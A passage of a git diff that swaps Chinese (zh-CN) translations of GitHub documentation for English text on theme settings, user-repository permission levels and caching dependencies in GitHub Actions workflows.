!["主题模式"下的下拉菜单用于选择主题首选项](/assets/images/help/settings/theme-mode-drop-down-menu.png) -1. 单击想要使用的主题。 - - 如果您选择单个主题，请单击一个主题。 + ![Drop-down menu under "Theme mode" for selection of theme preference](/assets/images/help/settings/theme-mode-drop-down-menu.png) +1. Click the theme you'd like to use. + - If you chose a single theme, click a theme. {% ifversion fpt or ghes > 3.2 or ghae-issue-4618 or ghec %}![Radio buttons for the choice of a single theme](/assets/images/help/settings/theme-choose-a-single-theme-highcontrast.png){% else %}![Radio buttons for the choice of a single theme](/assets/images/help/settings/theme-choose-a-single-theme.png){% endif %} - - 如果您选择遵循系统设置，请单击白天主题和夜间主题。 + - If you chose to follow your system settings, click a day theme and a night theme. {% ifversion fpt or ghes > 3.2 or ghae-issue-4618 or ghec %}![Buttons for the choice of a theme to sync with the system setting](/assets/images/help/settings/theme-choose-a-day-and-night-theme-to-sync-highcontrast.png){% else %}![Buttons for the choice of a theme to sync with the system setting](/assets/images/help/settings/theme-choose-a-day-and-night-theme-to-sync.png){% endif %} {% ifversion fpt or ghae-issue-4619 or ghec %} @@ -56,6 +56,6 @@ shortTitle: 管理主题设置 {% endif %} -## 延伸阅读 +## Further reading -- "[设置 {% data variables.product.prodname_desktop %} 的主题](/desktop/installing-and-configuring-github-desktop/setting-a-theme-for-github-desktop)" +- "[Setting a theme for {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/setting-a-theme-for-github-desktop)" diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md index 03ffc76f88..b13d0f4867 100644 --- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md @@ -1,6 +1,6 @@ --- -title: 用户帐户仓库的权限级别 -intro: 用户帐户拥有的仓库有两种权限级别：仓库所有者和协作者。 +title: Permission levels for a user account repository +intro: 'A repository owned by a user account has two permission levels: the repository owner and collaborators.' redirect_from: - /articles/permission-levels-for-a-user-account-repository - /github/setting-up-and-managing-your-github-user-account/permission-levels-for-a-user-account-repository @@ -12,87 +12,80 @@ versions: ghec: '*' topics: - Accounts -shortTitle: 权限用户仓库 +shortTitle: Permission user repositories --- +## About permissions levels for a user account repository -## 关于用户帐户仓库的权限级别 +Repositories owned by user accounts have one owner. Ownership permissions can't be shared with another user account. -用户帐户拥有的仓库有一个所有者。 所有权权限无法与其他用户帐户共享。 - -您还可以{% ifversion fpt or ghec %}邀请{% else %}添加{% endif %} {% data variables.product.product_name %} 上的用户成为仓库的协作者。 更多信息请参阅“[邀请协作者参加个人仓库](/github/setting-up-and-managing-your-github-user-account/inviting-collaborators-to-a-personal-repository)”。 +You can also {% ifversion fpt or ghec %}invite{% else %}add{% endif %} users on {% data variables.product.product_name %} to your repository as collaborators. For more information, see "[Inviting collaborators to a personal repository](/github/setting-up-and-managing-your-github-user-account/inviting-collaborators-to-a-personal-repository)." {% tip %} -**提示：**如果需要对用户帐户拥有的仓库实施更细致的权限，请考虑将仓库转让给组织。 更多信息请参阅“[转让仓库](/github/administering-a-repository/transferring-a-repository#transferring-a-repository-owned-by-your-user-account)”。 +**Tip:** If you require more granular access to a repository owned by your user account, consider transferring the repository to an organization. For more information, see "[Transferring a repository](/github/administering-a-repository/transferring-a-repository#transferring-a-repository-owned-by-your-user-account)." {% endtip %} -## 所有者对用户帐户拥有仓库的权限 +## Owner access for a repository owned by a user account -仓库所有者对仓库具有完全控制权。 除了任何协作者可以执行的操作外，仓库所有者还可以执行以下操作。 +The repository owner has full control of the repository. In addition to the actions that any collaborator can perform, the repository owner can perform the following actions. -| 操作 | 更多信息 | -|:------------------------------------------------------------------------------------------------------------------------ |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| {% ifversion fpt or ghec %}邀请协作者{% else %}添加协作者{% endif %} | | -| "[邀请个人仓库的协作者](/github/setting-up-and-managing-your-github-user-account/inviting-collaborators-to-a-personal-repository)" | | -| 更改仓库的可见性 | “[设置仓库可见性](/github/administering-a-repository/setting-repository-visibility)” |{% ifversion fpt or ghec %} -| 限制与仓库的交互 | “[限制仓库中的交互](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)”|{% endif %}{% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} -| 重命名分支，包括默认分支 | "[重命名分支](/github/administering-a-repository/renaming-a-branch)" -{% endif %} -| 合并受保护分支上的拉取请求（即使没有批准审查） | "[关于受保护分支](/github/administering-a-repository/about-protected-branches)" | -| 删除仓库 | "[删除仓库](/github/administering-a-repository/deleting-a-repository)" | -| 管理仓库的主题 | "[使用主题对仓库分类](/github/administering-a-repository/classifying-your-repository-with-topics)" |{% ifversion fpt or ghec %} -| 管理仓库的安全性和分析设置 | "[管理仓库的安全和分析设置](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)" |{% endif %}{% ifversion fpt or ghec %} -| 为私有仓库启用依赖项图 | “[探索仓库的依赖项](/github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)” |{% endif %}{% ifversion fpt or ghes > 3.0 or ghec %} -| 删除和恢复包 | “[删除和恢复包](/packages/learn-github-packages/deleting-and-restoring-a-package)”|{% endif %}{% ifversion ghes = 3.0 or ghae %} -| 删除包 | “[删除包](/packages/learn-github-packages/deleting-a-package)” -{% endif %} -| 自定义仓库的社交媒体预览 | "[自定义仓库的社交媒体预览](/github/administering-a-repository/customizing-your-repositorys-social-media-preview)" | -| 从仓库创建模板 | "[创建模板仓库](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)" |{% ifversion fpt or ghes or ghae-issue-4864 or ghec %} -| Control access to {% data variables.product.prodname_dependabot_alerts %} alerts for vulnerable dependencies | "[管理仓库的安全和分析设置](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)" |{% endif %}{% ifversion fpt or ghec %} -| 忽略仓库中的 {% data variables.product.prodname_dependabot_alerts %} | "[查看和更新仓库中的漏洞依赖项](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)" | -| 管理私有仓库的数据使用 | “[管理私有仓库的数据使用设置](/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository)” -{% endif %} -| 定义仓库的代码所有者 | "[关于代码所有者](/github/creating-cloning-and-archiving-repositories/about-code-owners)" | -| 存档仓库 | "[Archiving repositories](/repositories/archiving-a-github-repository/archiving-repositories)" |{% ifversion fpt or ghec %} -| 创建安全通告 | "[关于 {% data variables.product.prodname_security_advisories %}](/github/managing-security-vulnerabilities/about-github-security-advisories)" | -| 显示赞助按钮 | “[在仓库中显示赞助者按钮](/github/administering-a-repository/displaying-a-sponsor-button-in-your-repository)”|{% endif %}{% ifversion fpt or ghae or ghes > 3.0 or ghec %} -| 允许或禁止自动合并拉取请求 | "[管理仓库中的拉取请求自动合并](/github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository)" | {% endif %} +| Action | More information | +| :- | :- | +| {% ifversion fpt or ghec %}Invite collaborators{% else %}Add collaborators{% endif %} | "[Inviting collaborators to a personal repository](/github/setting-up-and-managing-your-github-user-account/inviting-collaborators-to-a-personal-repository)" | +| Change the visibility of the repository | "[Setting repository visibility](/github/administering-a-repository/setting-repository-visibility)" |{% ifversion fpt or ghec %} +| Limit interactions with the repository | "[Limiting interactions in your repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)" |{% endif %}{% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} +| Rename a branch, including the default branch | "[Renaming a branch](/github/administering-a-repository/renaming-a-branch)" |{% endif %} +| Merge a pull request on a protected branch, even if there are no approving reviews | "[About protected branches](/github/administering-a-repository/about-protected-branches)" | +| Delete the repository | "[Deleting a repository](/github/administering-a-repository/deleting-a-repository)" | +| Manage the repository's topics | "[Classifying your repository with topics](/github/administering-a-repository/classifying-your-repository-with-topics)" |{% ifversion fpt or ghec %} +| Manage security and analysis settings for the repository | "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)" |{% endif %}{% ifversion fpt or ghec %} +| Enable the dependency graph for a private repository | "[Exploring the dependencies of a repository](/github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)" |{% endif %}{% ifversion fpt or ghes > 3.0 or ghec %} +| Delete and restore packages | "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)" |{% endif %}{% ifversion ghes = 3.0 or ghae %} +| Delete packages | "[Deleting packages](/packages/learn-github-packages/deleting-a-package)" |{% endif %} +| Customize the repository's social media preview | "[Customizing your repository's social media preview](/github/administering-a-repository/customizing-your-repositorys-social-media-preview)" | +| Create a template from the repository | "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)" |{% ifversion fpt or ghes or ghae-issue-4864 or ghec %} +| Control access to {% data variables.product.prodname_dependabot_alerts %} for vulnerable dependencies | "[Managing security and analysis settings for your repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)" |{% endif %}{% ifversion fpt or ghec %} +| Dismiss {% data variables.product.prodname_dependabot_alerts %} in the repository | "[Viewing and updating vulnerable dependencies in your repository](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)" | +| Manage data use for a private repository | "[Managing data use settings for your private repository](/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository)"|{% endif %} +| Define code owners for the repository | "[About code owners](/github/creating-cloning-and-archiving-repositories/about-code-owners)" | +| Archive the repository | "[Archiving repositories](/repositories/archiving-a-github-repository/archiving-repositories)" |{% ifversion fpt or ghec %} +| Create security advisories | "[About {% data variables.product.prodname_security_advisories %}](/github/managing-security-vulnerabilities/about-github-security-advisories)" | +| Display a sponsor button | "[Displaying a sponsor button in your repository](/github/administering-a-repository/displaying-a-sponsor-button-in-your-repository)" |{% endif %}{% ifversion fpt or ghae or ghes > 3.0 or ghec %} +| Allow or disallow auto-merge for pull requests | "[Managing auto-merge for pull requests in your repository](/github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository)" | {% endif %} -## 协作者对用户帐户拥有仓库的权限 +## Collaborator access for a repository owned by a user account -个人仓库的协作者可以拉取（读取）仓库的内容并向仓库推送（写入）更改。 +Collaborators on a personal repository can pull (read) the contents of the repository and push (write) changes to the repository. {% note %} -**注：**在私有仓库中，仓库所有者只能为协作者授予写入权限。 协作者不能对用户帐户拥有的仓库具有只读权限。 +**Note:** In a private repository, repository owners can only grant write access to collaborators. Collaborators can't have read-only access to repositories owned by a user account. {% endnote %} -协作者还可以执行以下操作。 +Collaborators can also perform the following actions. -| 操作 | 更多信息 | -|:--------------------------- |:-------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 复刻仓库 | "[关于复刻](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)" |{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -| 重命名除默认分支以外的分支 | "[重命名分支](/github/administering-a-repository/renaming-a-branch)" -{% endif %} -| 在仓库中创建、编辑和删除关于提交、拉取请求和议题的评论 |
                    • "[关于议题](/github/managing-your-work-on-github/about-issues)"
                    • "[Commenting on a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)"
                    • "[管理破坏性评论](/communities/moderating-comments-and-conversations/managing-disruptive-comments)"
                    | -| 在仓库中创建、分配、关闭和重新打开议题 | "[使用议题管理工作](/github/managing-your-work-on-github/managing-your-work-with-issues)" | -| 在仓库中管理议题和拉取请求的标签 | "[标记议题和拉取请求](/github/managing-your-work-on-github/labeling-issues-and-pull-requests)" | -| 在仓库中管理议题和拉取请求的里程碑 | "[创建和编辑议题及拉取请求的里程碑](/github/managing-your-work-on-github/creating-and-editing-milestones-for-issues-and-pull-requests)" | -| 将仓库中的议题或拉取请求标记为重复项 | "[关于重复的议题和拉取请求](/github/managing-your-work-on-github/about-duplicate-issues-and-pull-requests)" | -| 在仓库中创建、合并和关闭拉取请求 | "[通过拉取请求提议工作更改](/github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests)" |{% ifversion fpt or ghae or ghes > 3.0 or ghec %} -| 启用或禁用自动合并拉取请求 | "[自动合并拉取请求](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)"{% endif %} -| 将建议的更改应用于仓库中的拉取请求 | "[在拉取请求中加入反馈](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request)" | -| 从仓库的复刻创建拉取请求 | "[从复刻创建拉取请求](/github/collaborating-with-issues-and-pull-requests/creating-a-pull-request-from-a-fork)" | -| 提交影响拉取请求可合并性的拉取请求审查 | "[审查拉取请求中提议的更改](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)" | -| 为仓库创建和编辑 wiki | "[关于 wikis](/communities/documenting-your-project-with-wikis/about-wikis)" | -| 为仓库创建和编辑发行版 | “[管理仓库中的发行版](/github/administering-a-repository/managing-releases-in-a-repository)” | -| 作为仓库的代码所有者 | "[关于代码所有者](/articles/about-code-owners)" |{% ifversion fpt or ghae or ghec %} -| 发布、查看或安装包 | "[发布和管理包](/github/managing-packages-with-github-packages/publishing-and-managing-packages)" -{% endif %} -| 作为仓库协作者删除自己 | "[从协作者的仓库删除您自己](/github/setting-up-and-managing-your-github-user-account/removing-yourself-from-a-collaborators-repository)" | +| Action | More information | +| :- | :- | +| Fork the repository | "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)" |{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +| Rename a branch other than the default branch | "[Renaming a branch](/github/administering-a-repository/renaming-a-branch)" |{% endif %} +| Create, edit, and delete comments on commits, pull requests, and issues in the repository |
                    • "[About issues](/github/managing-your-work-on-github/about-issues)"
                    • "[Commenting on a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)"
                    • "[Managing disruptive comments](/communities/moderating-comments-and-conversations/managing-disruptive-comments)"
                    | +| Create, assign, close, and re-open issues in the repository | "[Managing your work with issues](/github/managing-your-work-on-github/managing-your-work-with-issues)" | +| Manage labels for issues and pull requests in the repository | "[Labeling issues and pull requests](/github/managing-your-work-on-github/labeling-issues-and-pull-requests)" | +| Manage milestones for issues and pull requests in the repository | "[Creating and editing milestones for issues and pull requests](/github/managing-your-work-on-github/creating-and-editing-milestones-for-issues-and-pull-requests)" | +| Mark an issue or pull request in the repository as a duplicate | "[About duplicate issues and pull requests](/github/managing-your-work-on-github/about-duplicate-issues-and-pull-requests)" | +| Create, merge, and close pull requests in the repository | "[Proposing changes to your work with pull requests](/github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests)" |{% ifversion fpt or ghae or ghes > 3.0 or ghec %} +| Enable and disable auto-merge for a pull request | "[Automatically merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)"{% endif %} +| Apply suggested changes to pull requests in the repository |"[Incorporating feedback in your pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request)" | +| Create a pull request from a fork of the repository | "[Creating a pull request from a fork](/github/collaborating-with-issues-and-pull-requests/creating-a-pull-request-from-a-fork)" | +| Submit a review on a pull request that affects the mergeability of the pull request | "[Reviewing proposed changes in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)" | +| Create and edit a wiki for the repository | "[About wikis](/communities/documenting-your-project-with-wikis/about-wikis)" | +| Create and edit releases for the repository | "[Managing releases in a repository](/github/administering-a-repository/managing-releases-in-a-repository)" | +| Act as a code owner for the repository | "[About code owners](/articles/about-code-owners)" |{% ifversion fpt or ghae or ghec %} +| Publish, view, or install packages | "[Publishing and managing packages](/github/managing-packages-with-github-packages/publishing-and-managing-packages)" |{% endif %} +| Remove themselves as collaborators on the repository | "[Removing yourself from a collaborator's repository](/github/setting-up-and-managing-your-github-user-account/removing-yourself-from-a-collaborators-repository)" | -## 延伸阅读 +## Further reading - "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)" diff --git a/translations/zh-CN/content/actions/advanced-guides/caching-dependencies-to-speed-up-workflows.md b/translations/zh-CN/content/actions/advanced-guides/caching-dependencies-to-speed-up-workflows.md index f507be7867..603f7c540d 100644 --- a/translations/zh-CN/content/actions/advanced-guides/caching-dependencies-to-speed-up-workflows.md +++ b/translations/zh-CN/content/actions/advanced-guides/caching-dependencies-to-speed-up-workflows.md @@ -1,7 +1,7 @@ --- -title: 缓存依赖项以加快工作流程 -shortTitle: 缓存依赖项 -intro: 为了使工作流程更快、更高效，可以为依赖项及其他经常重复使用的文件创建和使用缓存。 +title: Caching dependencies to speed up workflows +shortTitle: Caching dependencies +intro: 'To make your workflows faster and more efficient, you can create and use caches for dependencies and other commonly reused files.' redirect_from: - /github/automating-your-workflow-with-github-actions/caching-dependencies-to-speed-up-workflows - /actions/automating-your-workflow-with-github-actions/caching-dependencies-to-speed-up-workflows @@ -15,59 +15,82 @@ topics: - Workflows --- -## 关于缓存工作流程依赖项 +## About caching workflow dependencies -工作流程运行通常在不同运行之间重新使用相同的输出或下载的依赖项。 例如，Maven、Gradle、npm 和 Yarn 等软件包和依赖项管理工具都会对下载的依赖项保留本地缓存。 +Workflow runs often reuse the same outputs or downloaded dependencies from one run to another. For example, package and dependency management tools such as Maven, Gradle, npm, and Yarn keep a local cache of downloaded dependencies. -{% data variables.product.prodname_dotcom %} 托管的运行器在一个干净的虚拟环境中启动，每次都必须下载依赖项，造成网络利用率提高、运行时间延长和成本增加。 为帮助加快重新创建这些文件，{% data variables.product.prodname_dotcom %} 可以缓存您在工作流程中经常使用的依赖项。 +Jobs on {% data variables.product.prodname_dotcom %}-hosted runners start in a clean virtual environment and must download dependencies each time, causing increased network utilization, longer runtime, and increased cost. To help speed up the time it takes to recreate these files, {% data variables.product.prodname_dotcom %} can cache dependencies you frequently use in workflows. -要缓存作业的依赖项，您需要使用 {% data variables.product.prodname_dotcom %} 的 `cache` 操作。 该操作检索由唯一键标识的缓存。 更多信息请参阅 [`actions/cache`](https://github.com/actions/cache)。 +To cache dependencies for a job, you'll need to use {% data variables.product.prodname_dotcom %}'s `cache` action. The action retrieves a cache identified by a unique key. For more information, see [`actions/cache`](https://github.com/actions/cache). -如果您缓存 Ruby Gems，则考虑使用 Ruby 维护的操作，可在启动时缓存捆绑安装。 更多信息请参阅 [`ruby/setup-ruby`](https://github.com/ruby/setup-ruby#caching-bundle-install-automatically)。 +If you are caching the package managers listed below, consider using the respective setup-* actions, which require almost zero configuration and are easy to use. -要缓存并恢复 npm、Yarn 或 pnpm 的依赖项，您可以使用 [`actions/setup-node` 操作](https://github.com/actions/setup-node)。 - -Gradle 和 Maven 缓存可用于 [`actions/setup-java` 操作](https://github.com/actions/setup-java)。 + + + + + + + + + + + + + + + + + + + + + + + + + +
                    Package managerssetup-* action for caching
                    npm, yarn, pnpmsetup-node
                    pip, pipenvsetup-python
                    gradle, mavensetup-java
                    ruby gemssetup-ruby
                    {% warning %} -**警告**：建议不要在公共仓库缓存中存储任何敏感信息。 例如，敏感信息可以包括存储在缓存路径的文件中的访问令牌或登录凭据。 此外，命令行接口 (CLI) 程序，例如 `docker login`，可以在配置文件中保存访问凭据。 具有读取访问权限的任何人都可以在仓库上创建拉取请求并访问缓存的内容。 仓库的复刻也可在基本分支上创建拉取请求，并在基本分支上访问缓存。 +**Warning**: We recommend that you don't store any sensitive information in the cache of public repositories. For example, sensitive information can include access tokens or login credentials stored in a file in the cache path. Also, command line interface (CLI) programs like `docker login` can save access credentials in a configuration file. Anyone with read access can create a pull request on a repository and access the contents of the cache. Forks of a repository can also create pull requests on the base branch and access caches on the base branch. {% endwarning %} -## 比较构件和依赖项缓存 +## Comparing artifacts and dependency caching -构件与缓存类似，因为它们能够在 {% data variables.product.prodname_dotcom %} 上存储文件，但每项功能都提供不同的用例，不能互换使用。 +Artifacts and caching are similar because they provide the ability to store files on {% data variables.product.prodname_dotcom %}, but each feature offers different use cases and cannot be used interchangeably. -- 如果要在作业或工作流程运行之间重复使用不经常更改的文件，请使用缓存。 -- 如果要保存作业生成的文件，以便在工作流程结束后查看，则使用构件。 更多信息请参阅“[使用构件持久化工作流程](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)”。 +- Use caching when you want to reuse files that don't change often between jobs or workflow runs. +- Use artifacts when you want to save files produced by a job to view after a workflow has ended. For more information, see "[Persisting workflow data using artifacts](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)." -## 访问缓存的限制 +## Restrictions for accessing a cache -使用 `cache` 操作的 `v2`，可以访问具有 `GITHUB_REF` 的任何事件所触发的工作流程中的缓存。 如果使用 `cache` 操作的 `v1`，您只能访问由 `push` 和 `pull_request` 事件触发的工作流程中的缓存，`pull_request` `closed` 事件除外。 更多信息请参阅“[触发工作流程的事件](/actions/reference/events-that-trigger-workflows)”。 +With `v2` of the `cache` action, you can access the cache in workflows triggered by any event that has a `GITHUB_REF`. If you are using `v1` of the `cache` action, you can only access the cache in workflows triggered by `push` and `pull_request` events, except for the `pull_request` `closed` event. For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)." -工作流程可以访问和还原当前分支、基础分支（包括复刻的仓库的基本分支）或默认分支（通常是 `main`）中创建的缓存 例如，在默认分支上创建的缓存可从任何拉取请求访问。 另外，如果分支 `feature-b` 具有基础分支 `feature-a`，则触发于 `feature-b` 的工作流程可以访问默认分支 (`main`)、`feature-a` 和 `feature-b` 中创建的缓存。 +A workflow can access and restore a cache created in the current branch, the base branch (including base branches of forked repositories), or the default branch (usually `main`). For example, a cache created on the default branch would be accessible from any pull request. Also, if the branch `feature-b` has the base branch `feature-a`, a workflow triggered on `feature-b` would have access to caches created in the default branch (`main`), `feature-a`, and `feature-b`. -访问限制通过在不同分支之间创建逻辑边界来提供缓存隔离和安全。 例如， 为分支 `feature-a`（具有基础分支 `main`）创建的缓存将无法访问分支 `feature-b`（具有基础分支 `main`）的拉取请求。 +Access restrictions provide cache isolation and security by creating a logical boundary between different branches. For example, a cache created for the branch `feature-a` (with the base `main`) would not be accessible to a pull request for the branch `feature-b` (with the base `main`). -仓库中的多个工作流程共享缓存条目。 可以从同一仓库和分支的另一个工作流程访问和恢复为工作流程中的分支创建的缓存。 +Multiple workflows within a repository share cache entries. A cache created for a branch within a workflow can be accessed and restored from another workflow for the same repository and branch. -## 使用 `cache` 操作 +## Using the `cache` action -`cache` 操作将尝试恢复基于您提供的 `key` 的缓存。 当操作找到缓存时，该操作会将缓存的文件还原到您配置的 `path`。 +The `cache` action will attempt to restore a cache based on the `key` you provide. When the action finds a cache, the action restores the cached files to the `path` you configure. -如果没有精确匹配，操作在作业成功完成时将创建一个新的缓存条目。 新缓存将使用您提供的 `key` 并包含 `path` 目录中的文件。 +If there is no exact match, the action creates a new cache entry if the job completes successfully. The new cache will use the `key` you provided and contains the files in the `path` directory. -当 `key` 与现有缓存不匹配时，您可以选择性提供要使用的 `restore-keys` 列表。 `restore-keys` 列表很有用，因为 `restore-keys` 可以部分匹配缓存密钥。 有关匹配 `restore-keys` 的更多信息，请参阅“[匹配缓存密钥](#matching-a-cache-key)”。 +You can optionally provide a list of `restore-keys` to use when the `key` doesn't match an existing cache. A list of `restore-keys` is useful when you are restoring a cache from another branch because `restore-keys` can partially match cache keys. For more information about matching `restore-keys`, see "[Matching a cache key](#matching-a-cache-key)." -更多信息请参阅 [`actions/cache`](https://github.com/actions/cache)。 +For more information, see [`actions/cache`](https://github.com/actions/cache). -### `cache` 操作的输入参数 +### Input parameters for the `cache` action -- `key`：**必要** 保存缓存时创建的键，以及用于搜索缓存的键。 可以是变量、上下文值、静态字符串和函数的任何组合。 密钥最大长度为 512 个字符，密钥长度超过最大长度将导致操作失败。 -- `path`：**必要** 运行器上缓存或还原的文件路径。 路径可以是绝对路径或相对于工作目录的路径。 - - 路径可以是目录或单个文件，并且支持 glob 模式。 - - 使用 `cache` 操作的 `v2`，可以指定单个路径，也可以在单独的行上添加多个路径。 例如： +- `key`: **Required** The key created when saving a cache and the key used to search for a cache. Can be any combination of variables, context values, static strings, and functions. Keys have a maximum length of 512 characters, and keys longer than the maximum length will cause the action to fail. +- `path`: **Required** The file path on the runner to cache or restore. The path can be an absolute path or relative to the working directory. + - Paths can be either directories or single files, and glob patterns are supported. + - With `v2` of the `cache` action, you can specify a single path, or you can add multiple paths on separate lines. For example: ``` - name: Cache Gradle packages uses: actions/cache@v2 @@ -76,16 +99,16 @@ Gradle 和 Maven 缓存可用于 [`actions/setup-java` 操作](https://github.co ~/.gradle/caches ~/.gradle/wrapper ``` - - 对于 `cache` 操作的 `v1`，仅支持单个路径，它必须是一个目录。 您不能缓存单个文件。 -- `restore-keys`：**可选** `key` 没有发生缓存命中时用于查找缓存的其他密钥顺序列表。 + - With `v1` of the `cache` action, only a single path is supported and it must be a directory. You cannot cache a single file. +- `restore-keys`: **Optional** An ordered list of alternative keys to use for finding the cache if no cache hit occurred for `key`. -### `cache` 操作的输出参数 +### Output parameters for the `cache` action -- `cache-hit`：表示找到了密钥的精确匹配项的布尔值。 +- `cache-hit`: A boolean value to indicate an exact match was found for the key. -### `cache` 操作使用示例 +### Example using the `cache` action -此示例在 `package-lock.json` 文件中的包更改时，或运行器的操作系统更改时，创建一个新的缓存。 缓存键使用上下文和表达式生成一个键值，其中包括运行器的操作系统和 `package-lock.json` 文件的 SHA-256 哈希。 +This example creates a new cache when the packages in `package-lock.json` file change, or when the runner's operating system changes. The cache key uses contexts and expressions to generate a key that includes the runner's operating system and a SHA-256 hash of the `package-lock.json` file. {% raw %} ```yaml{:copy} @@ -124,23 +147,23 @@ jobs: ``` {% endraw %} -当 `key` 匹配现有缓存时，被称为缓存命中，并且操作会将缓存的文件还原到 `path` 目录。 +When `key` matches an existing cache, it's called a cache hit, and the action restores the cached files to the `path` directory. -当 `key` 不匹配现有缓存时，则被称为缓存错过，在作业成功完成时将创建一个新缓存。 发生缓存错过时，操作将搜索称为 `restore-keys` 的替代键值。 +When `key` doesn't match an existing cache, it's called a cache miss, and a new cache is created if the job completes successfully. When a cache miss occurs, the action searches for alternate keys called `restore-keys`. -1. 如果您提供 `restore-keys`，`cache` 操作将按顺序搜索与 `restore-keys` 列表匹配的任何缓存。 - - 当精确匹配时，操作会将缓存中的文件恢复至 `path` 目录。 - - 如果没有精确匹配，操作将会搜索恢复键值的部分匹配。 当操作找到部分匹配时，最近的缓存将恢复到 `path` 目录。 -1. `cache` 操作完成，作业中的下一个工作流程步骤运行。 -1. 如果作业成功完成，则操作将创建一个包含 `path` 目录内容的新缓存。 +1. If you provide `restore-keys`, the `cache` action sequentially searches for any caches that match the list of `restore-keys`. + - When there is an exact match, the action restores the files in the cache to the `path` directory. + - If there are no exact matches, the action searches for partial matches of the restore keys. When the action finds a partial match, the most recent cache is restored to the `path` directory. +1. The `cache` action completes and the next workflow step in the job runs. +1. If the job completes successfully, the action creates a new cache with the contents of the `path` directory. -要在多个目录中缓存文件，您需要一个对每个目录使用 [`cache`](https://github.com/actions/cache) 操作的步骤。 创建缓存后，无法更改现有缓存的内容，但可以使用新键创建新缓存。 +To cache files in more than one directory, you will need a step that uses the [`cache`](https://github.com/actions/cache) action for each directory. Once you create a cache, you cannot change the contents of an existing cache but you can create a new cache with a new key. -### 使用上下文创建缓存键 +### Using contexts to create cache keys -缓存键可以包括 {% data variables.product.prodname_actions %} 支持的任何上下文、函数、文本和运算符。 For more information, see "[Expressions](/actions/learn-github-actions/expressions)." +A cache key can include any of the contexts, functions, literals, and operators supported by {% data variables.product.prodname_actions %}. For more information, see "[Expressions](/actions/learn-github-actions/expressions)." -使用表达式创建 `key` 允许您在依赖项更改时自动创建新缓存。 例如，您可以使用计算 npm `package-lock.json` 文件哈希的表达式创建 `key`。 +Using expressions to create a `key` allows you to automatically create a new cache when dependencies have changed. For example, you can create a `key` using an expression that calculates the hash of an npm `package-lock.json` file. {% raw %} ```yaml @@ -148,19 +171,19 @@ npm-${{ hashFiles('package-lock.json') }} ``` {% endraw %} -{% data variables.product.prodname_dotcom %} 评估表达式 `hash "package-lock.json"` 以派生最终 `key`。 +{% data variables.product.prodname_dotcom %} evaluates the expression `hash "package-lock.json"` to derive the final `key`. ```yaml npm-d5ea0750 ``` -## 匹配缓存键 +## Matching a cache key -`cache` 操作会先在包含工作流程运行的分支中搜索 `key` 和 `restore-key` 的缓存命中。 如果当前分支中没有命中，`cache` 操作将在父分支和上游分支中搜索 `key` 和 `restore-keys`。 +The `cache` action first searches for cache hits for `key` and `restore-keys` in the branch containing the workflow run. If there are no hits in the current branch, the `cache` action searches for `key` and `restore-keys` in the parent branch and upstream branches. -您可以提供一个出现 `key` 缓存错过时使用的恢复键列表。 您可以创建从最具体到最不具体的多个恢复键。 `cache` 操作按顺序搜索 